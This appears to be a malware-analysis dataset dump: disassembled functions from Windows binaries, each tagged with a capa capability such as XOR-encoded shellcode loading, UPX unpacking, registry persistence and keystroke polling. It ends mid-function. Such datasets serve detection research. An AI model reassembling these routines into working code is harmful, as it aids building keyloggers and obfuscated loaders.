joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001f8b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1001c7f1
call fcn.1001c3b8
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov edi, dword [ebp + 8]
mov dword [ebp - 0x424], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x428], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x1000219d
mov edx, edi
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, bx
jne 0x10001fdd
sub edx, ecx
sar edx, 1
inc edx
push ecx
lea ecx, [ebp - 0x41c]
mov dword [ebp - 0x41c], edx
call fcn.10001357
test eax, eax
js 0x1000219d
mov esi, dword [ebp - 0x41c]
cmp esi, 0x400
jg 0x1000202e
mov ecx, esi
call fcn.10001387
test al, al
je 0x1000202e
mov eax, esi
call fcn.1001c519
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x1000203a
push esi
lea ecx, [ebp - 0x428]
call fcn.10014a8d
push 3
push esi
mov edx, edi
mov ecx, eax
call fcn.10014a8d
mov edi, eax
test edi, edi
je 0x10002197
push 0x60
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov esi, eax
mov dword [ebp - 0x41c], esi
test esi, esi
jne 0x10002088
push 2
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov esi, eax
mov dword [ebp - 0x41c], eax
test esi, esi
jne 0x10002088
call fcn.10001543
mov edi, eax
jmp 0x1000217c
push dword [ebp - 0x420]
push dword [ebp - 0x424]
push esi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x100020ab
call fcn.10001543
jmp 0x1000216f
push edi
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x420], eax
test eax, eax
je 0x100020a1
push edi
push esi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov edi, eax
mov dword [ebp - 0x424], edi
lea ecx, [edi + 1]
cmp ecx, edi
jae 0x100020de
mov edi, 0x8007000e
jmp 0x10002171
mov byte [ebp - 4], 2
call fcn.10005d4e
cmp eax, 0x400
jbe 0x100020fc
push eax
lea ecx, [ebp - 0x418]
call fcn.10014a8d
jmp 0x10002108
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
mov dword [ebp - 4], 1
jmp 0x1000212c
cmp dword [ebp - 0x418], 0
je 0x100020d4
mov ecx, dword [ebp - 0x418]
mov edx, edi
push edi
push dword [ebp - 0x420]
call fcn.10014a8d
pop ecx
pop ecx
mov ecx, eax
call fcn.100014e5
mov eax, dword [ebp - 0x418]
lea ecx, [ebp - 0x430]
push dword [ebp + 0x14]
mov byte [eax + edi], bl
push dword [ebp - 0x418]
call fcn.10014a8d
mov edi, eax
test esi, esi
je 0x1000217c
push esi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x100021b7
lea ecx, [ebp - 0x418]
call fcn.100058b0
jmp 0x100021b7
mov ebx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
cmp ebx, eax
je 0x100021b2
lea ecx, [ebp - 0x418]
call fcn.100058b0
mov edi, 0x8007000e
lea ecx, [ebp - 0x428]
call fcn.10005668
mov eax, edi
lea esp, [ebp - 0x440]
call fcn.1001c309
ret 0x10
Function at 0x10014a8d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x10014a9c
pop dword [ebp - 0x10]
mov eax, 0xc6e40cdc
sub eax, 0xb6e2c240
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xe2fc63de
sub dword [ebp - 0x20], 0x94aa1e93
mov dword [ebp - 0x1c], 0x12b28bdf
sub dword [ebp - 0x1c], 0xe07f3f9a
mov dword [ebp - 0x18], 0x9257d606
add dword [ebp - 0x18], 0xb9f46e28
mov dword [ebp - 0x14], 0x4e94e624
add dword [ebp - 0x14], 0xb16b19dc
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xa6cff20c
sub dword [ebp - 0x20], 0x325d88b6
mov dword [ebp - 0x1c], 0xd8660a4
add dword [ebp - 0x1c], 0x33e600d1
mov dword [ebp - 0x18], 0xac214040
sub dword [ebp - 0x18], 0x48b1d3d4
mov dword [ebp - 0x14], 0x5d8a17e5
sub dword [ebp - 0x14], 0x5d8a17e5
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3a22e
push 0
call eax
mov ecx, 0x3f87
mov ebx, eax
mov esi, 0x53ddfdcb
sub esi, 0x43db21cb
add esi, dword [ebp - 0x10]
mov edi, 0xfe405ee1
xor dword [ebp - 8], 0xd314fdc8
mov edx, dword [esi]
xor dword [ebp - 8], ebx
xor edx, edi
sub dword [ebp - 8], ecx
mov dword [ebx], edx
sub dword [ebp - 4], edi
add ebx, 0x8edfc81b
sub ebx, 0x8edfc817
add esi, 4
loop 0x10014ba8
add eax, 0xf0ef
mov ebx, eax
add eax, 0x8ef27de6
sub eax, 0x8ef27de1
mov ecx, 0x495a6f55
sub ecx, 0x395a6f55
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x41d240
Capabilities:
Get geographical location

Disassembly:
sub esp, 0x408
mov eax, dword [0x422004]
xor eax, esp
mov dword [esp + 0x404], eax
cmp dword [0x22c7fb4], 0xfc7
jne 0x41d26f
push 0
lea eax, [esp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x4253cc]
imul eax, eax, 0x343fd
cmp dword [0x22c7fb4], 0x139e
mov dword [0x4253cc], eax
jne 0x41d29e
mov ecx, dword [esp]
push 0
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_GetAce]
mov eax, dword [0x4253cc]
add eax, 0x269ec3
push esi
mov dword [0x4253cc], eax
movzx esi, word [0x4253ce]
and esi, 0x7fff
cmp dword [0x22c7fb4], 0x8e7
jne 0x41d2d3
push 0
lea edx, [esp + 0xc]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov ecx, dword [esp + 0x408]
mov eax, esi
pop esi
xor ecx, esp
call fcn.00401000
add esp, 0x408
ret

Function at 0x41d3a0
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
mov eax, dword [0x422004]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [0x423300]
push ebx
mov ebx, dword [0x22c7958]
push edi
mov edi, dword [0x22c7fb4]
call fcn.0041d2f0
cmp dword [0x22c7fb4], 0x2f
jne 0x41d405
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call fcn.0041d320
mov ecx, dword [esp + 0x24]
pop edi
pop ebx
xor ecx, esp
call fcn.00401000
add esp, 0x24
ret
Function at 0x41d6d0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1818
call fcn.0040ba10
mov eax, dword [0x422004]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
jmp 0x41d6f9
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xbbe2aa2
jge 0x41d79f
cmp dword [0x22c7fb4], 0xa5f
jne 0x41d743
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0
lea ecx, [ebp - 0x818]
push ecx
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
lea edx, [ebp - 0x1018]
push edx
push 0x420c34
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
cmp dword [ebp - 4], 0x84526b
jne 0x41d768
mov eax, dword [0x424120]
mov dword [0x22c7fb4], eax
mov ecx, dword [0x22c7fb4]
add ecx, 0xa231
mov dword [0x22c7fb4], ecx
cmp dword [0x22c7fb4], 0x141
jne 0x41d79a
push str.jisaxivemuvanacucoxoxobo_necogoduhutevepipojomaji_kadesezimini_joretevigusopibiyigibiga_wemakihumovuyo
lea edx, [ebp - 0x1818]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [0x4253d0], 0xec58acac
mov dword [0x4253d4], 0xffffffff
jmp 0x41d6f0
call fcn.0041d420
jmp dword [0x22c7958]
Function at 0x10013502
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10022df0]
jne 0x1001350c
repz ret
jmp fcn.10013cd3

Function at 0x48f9e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7c000]
push edi
jmp 0x48f9fa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x48fa01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48f9f0
mov eax, 1
add ebx, ebx
jne 0x48fa13
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x48fa24
jne 0x48fa43
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48fa43
dec eax
add ebx, ebx
jne 0x48fa30
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x48fa08
add ebx, ebx
jne 0x48fa3f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x48fa95
xor ecx, ecx
sub eax, 3
jb 0x48fa5b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x48faca
sar eax, 1
mov ebp, eax
jmp 0x48fa66
add ebx, ebx
jne 0x48fa66
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48fa34
inc ecx
add ebx, ebx
jne 0x48fa74
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48fa34
add ebx, ebx
jne 0x48fa81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x48fa76
jne 0x48fa92
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x48fa76
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x48fab4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x48faa6
jmp 0x48f9f6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x48fab4
add edi, ecx
jmp 0x48f9f6
pop esi
mov edi, esi
mov ecx, 0x1a9e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x48fad2
cmp byte [edi], 6
jne 0x48fad2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x48fad7
lea edi, [esi + 0x8d000]
mov eax, dword [edi]
or eax, eax
je 0x48fb4f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8f000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8f104]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x48fb04
mov ecx, edi
jns 0x48fb33
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8f108]
or eax, eax
je 0x48fb49
mov dword [ebx], eax
add ebx, 4
jmp 0x48fb21
call dword [esi + 0x8f118]
mov ebp, dword [esi + 0x8f10c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x48fb83
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x40d360
Capabilities:
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x572315
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x240
push esi
push edi
push 0x1c
mov edi, ecx
mov dword [ebp - 0x20], 0
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.UW1kcnVfcGNaTkE_bm5Rcm1wYw
lea ecx, [ebp - 0x30]
movups xmmword [ebp - 0x30], xmm0
call fcn.0042b390
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x48]
push 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
push str.TkE_bm5Rcm1wYw
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x34], 0
call fcn.0042b390
push 0x104
lea eax, [ebp - 0x250]
mov byte [ebp - 4], 1
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x18]
push eax
push 0xf003f
push 0
sub esp, 0x18
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.0042c2f0
lea ecx, [ebp - 0x14]
call fcn.00442a50
add esp, 0x18
push dword [eax]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, dword [ebp - 0x14]
mov esi, eax
add edx, 0xfffffff0
or ecx, 0xffffffff
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x40d44b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test esi, esi
jne 0x40d47c
mov esi, dword [ebx + 8]
lea eax, [ebp - 0x14]
push 4
push eax
push 4
push 0
push 0x589b1c
push dword [ebp - 0x18]
mov dword [ebp - 0x14], esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x18]
mov dword [edi + 0x110], esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x34]
cmp ecx, 8
jb 0x40d4b2
mov edx, dword [ebp - 0x48]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40d4a8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d4fd
push ecx
push edx
call fcn.005472f1
add esp, 8
mov ecx, dword [ebp - 0x1c]
cmp ecx, 8
jb 0x40d4e8
mov edx, dword [ebp - 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40d4de
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d4fd
push ecx
push edx
call fcn.005472f1
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.0054c30f
int3
Function at 0x40fe60
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5726a5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
mov eax, dword [ecx + 0x2c]
push ebx
push esi
push edi
mov dword [ebp - 0x30], eax
mov eax, dword [ecx + 0x30]
push 0x17
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
call dword [sym.imp.USER32.dll_GetSystemMetrics]
xor ebx, ebx
mov dword [ebp - 4], 0
test eax, eax
setne bl
inc ebx
mov dword [ebp - 0x14], ebx
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x40ffe9
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 2
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x40fff3
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x20], esi
mov esi, dword [ebp - 0x18]
mov edi, 0xc8
mov byte [ebp - 4], 3
mov ecx, edi
mov eax, dword [esi + 0x50]
cmp edi, 0xc8
cmovne edi, ecx
cmp dword [eax + 8], 0
je 0x40ff79
push ebx
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x40ff79
cmp byte [0x5b6d3b], 0
je 0x40ff79
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_GetPhysicalCursorPos]
push dword [ebp - 0x24]
push dword [ebp - 0x28]
call dword [sym.imp.USER32.dll_WindowFromPoint]
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x10]
call fcn.00460f90
test al, al
je 0x40ff79
push ecx
mov ecx, dword [ebp - 0x10]
mov ebx, esp
mov dword [ebp - 0x18], ebx
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
mov ecx, esi
mov dword [ebx], eax
call fcn.00415d50
mov ebx, dword [ebp - 0x14]
test al, al
je 0x40ff79
cmp edi, 0x1b7740
mov eax, 0x1b7740
cmovne edi, eax
push edi
push 0
lea eax, [ebp - 0x30]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
je 0x40ffa1
mov ecx, 0xc8
cmp eax, 1
jne 0x40fef0
mov edi, ecx
jmp 0x40fef0
mov edx, dword [ebp - 0x20]
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ffbe
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x10]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x40ffd6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
int3
Function at 0x4133a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x572cb5
push eax
mov dword fs:[0], esp
sub esp, 0x10
cmp byte [0x5bc738], 0
push esi
push edi
mov edi, ecx
jne 0x41341f
mov esi, dword [ebp + 8]
push 8
mov byte [0x5bc738], 1
call fcn.00547402
add esp, 4
mov dword [ebp + 8], eax
mov dword [eax], edi
mov dword [eax + 4], esi
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0
push ecx
push 0
push eax
push 0x422aa0
push 0
push 0
call fcn.00553568
add esp, 0x18
mov dword [ebp - 0x18], eax
test eax, eax
je 0x413436
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 1
call fcn.0042b4b0
cmp dword [ebp - 0x14], 0
jne 0x413431
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
call fcn.0054dece
push 6
mov dword [ebp - 0x14], 0
call fcn.00530675
int3
Function at 0x414080
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push esi
mov esi, ecx
push 0
mov eax, dword [esi]
mov eax, dword [eax]
push dword [eax + 4]
mov byte [eax + 0x98], 1
call dword [sym.imp.USER32.dll_ShowWindow]
lea ecx, [esp + 8]
mov dword [esp + 8], 0x3a98
mov dword [esp + 0xc], 0
call fcn.0042b5e0
mov eax, dword [esi]
mov eax, dword [eax]
mov byte [eax + 0x98], 0
mov ecx, dword [esi]
mov ecx, dword [ecx]
call fcn.0051e3c0
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41ca70
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x573d35
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x48
push esi
push edi
push 0x1c
mov dword [ebp - 0x28], ecx
xorps xmm0, xmm0
push str.UW1kcnVfcGNaTkE_bm5Rcm1wYw
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
call fcn.0042b390
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x40]
push 8
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
push str.cXJfcnNx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
call fcn.0042b390
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 1
push eax
push 0xf003f
push 0
sub esp, 0x18
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x58]
mov dword [ebp - 0x24], 4
mov ecx, esp
mov esi, 3
push eax
call fcn.0042c2f0
lea ecx, [ebp - 0x1c]
call fcn.00442a50
add esp, 0x18
push dword [eax]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, dword [ebp - 0x1c]
or edi, 0xffffffff
mov dword [ebp - 0x20], eax
add edx, 0xfffffff0
mov ecx, edi
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x41cb5e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x41cbc6
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
push eax
call fcn.0042c2f0
lea ecx, [ebp - 0x20]
call fcn.00442a50
add esp, 0x18
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x14]
push ecx
push 0
push 0
push dword [eax]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x41cbb0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x14]
test eax, eax
push dword [ebp - 0x18]
mov ecx, 3
cmovne esi, ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov dword [eax + 0x110], esi
cmp ecx, 8
jb 0x41cc05
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41cbfb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41cc50
push ecx
push edx
call fcn.005472f1
add esp, 8
mov ecx, dword [ebp - 0x44]
cmp ecx, 8
jb 0x41cc3b
mov edx, dword [ebp - 0x58]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41cc31
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41cc50
push ecx
push edx
call fcn.005472f1
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0054c30f
int3
Function at 0x41ec40
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
push esi
lea eax, [esp + 4]
mov dword [esp + 4], 0
push eax
push 0
mov esi, ecx
lea eax, [esp + 0x10]
push eax
push 0
push dword [esi + 0x38]
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x41ecaf
mov eax, dword [esp + 8]
cmp eax, 3
je 0x41ec7f
cmp eax, 4
je 0x41ec7f
cmp eax, 0xb
jne 0x41ecaf
cmp dword [esp + 4], 4
jne 0x41ecaf
lea eax, [esp + 4]
push eax
push dword [esp + 0x14]
lea eax, [esp + 0x10]
push eax
push 0
push dword [esi + 0x38]
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x41ecaf
mov al, 1
pop esi
add esp, 8
ret 4
xor al, al
pop esi
add esp, 8
ret 4

Function at 0x422360
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x574265
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push esi
mov esi, dword [ecx + 4]
push 4
call fcn.00547402
mov dword [ebp - 0x10], eax
mov dword [eax], esi
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0
push ecx
push 0
push eax
push 0x422a70
push 0
push 0
call fcn.00553568
add esp, 0x1c
mov dword [ebp - 0x18], eax
pop esi
test eax, eax
je 0x4223da
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 1
call fcn.0042b4b0
cmp dword [ebp - 0x14], 0
jne 0x4223d5
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.0054dece
push 6
mov dword [ebp - 0x14], 0
call fcn.00530675
int3
Function at 0x423180
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x574386
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
mov ebx, dword [ebp + 0xc]
mov ecx, dword [ebx]
sub ecx, 0x10
call fcn.0042c200
add eax, 0x10
mov dword [esi + 8], eax
lea edi, [esi + 0x10]
mov dword [edi + 0x24], 0
mov dword [ebp + 0xc], edi
mov byte [ebp - 4], 2
mov ecx, dword [ebp + 0x38]
test ecx, ecx
je 0x4231dd
mov eax, dword [ecx]
push edi
call dword [eax]
mov dword [edi + 0x24], eax
mov byte [ebp - 4], 3
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.0042c200
add eax, 0x10
mov dword [esi + 0x38], eax
lea edi, [esi + 4]
mov byte [ebp - 4], 4
push edi
push 0xf003f
push 0
push dword [ebx]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor ebx, ebx
test eax, eax
setne bl
test eax, eax
jne 0x423290
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push 0
lea eax, [ebp + 0x10]
push eax
push 0
push dword [esi + 0x38]
push dword [edi]
call ebx
test eax, eax
jne 0x423263
mov eax, dword [ebp + 0x10]
cmp eax, 3
je 0x42324b
cmp eax, 4
je 0x42324b
cmp eax, 0xb
jne 0x423263
cmp dword [ebp + 0xc], 4
jne 0x423263
lea eax, [ebp + 0xc]
push eax
push esi
lea eax, [ebp + 0x10]
push eax
push 0
push dword [esi + 0x38]
push dword [edi]
call ebx
mov ecx, dword [ebp + 0x38]
test ecx, ecx
je 0x42327b
mov edx, dword [ecx]
lea eax, [ebp + 0x14]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x34
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.cGNlZ3FycHcedV9xHmxtch5tbmNsY2I
lea ecx, [ebp - 0x38]
call fcn.0042c620
push ebx
sub esp, 0x18
mov byte [ebp - 4], 5
lea eax, [ebp - 0x38]
mov ecx, esp
push eax
call fcn.0042c2f0
lea ecx, [ebp + 0xc]
call fcn.00442a50
add esp, 0x18
push eax
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 6
call fcn.00406260
push 0x5b33a4
lea eax, [ebp - 0x20]
push eax
call fcn.0054932a
int3

Function at 0x4274c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5746bf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.00530ae7
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
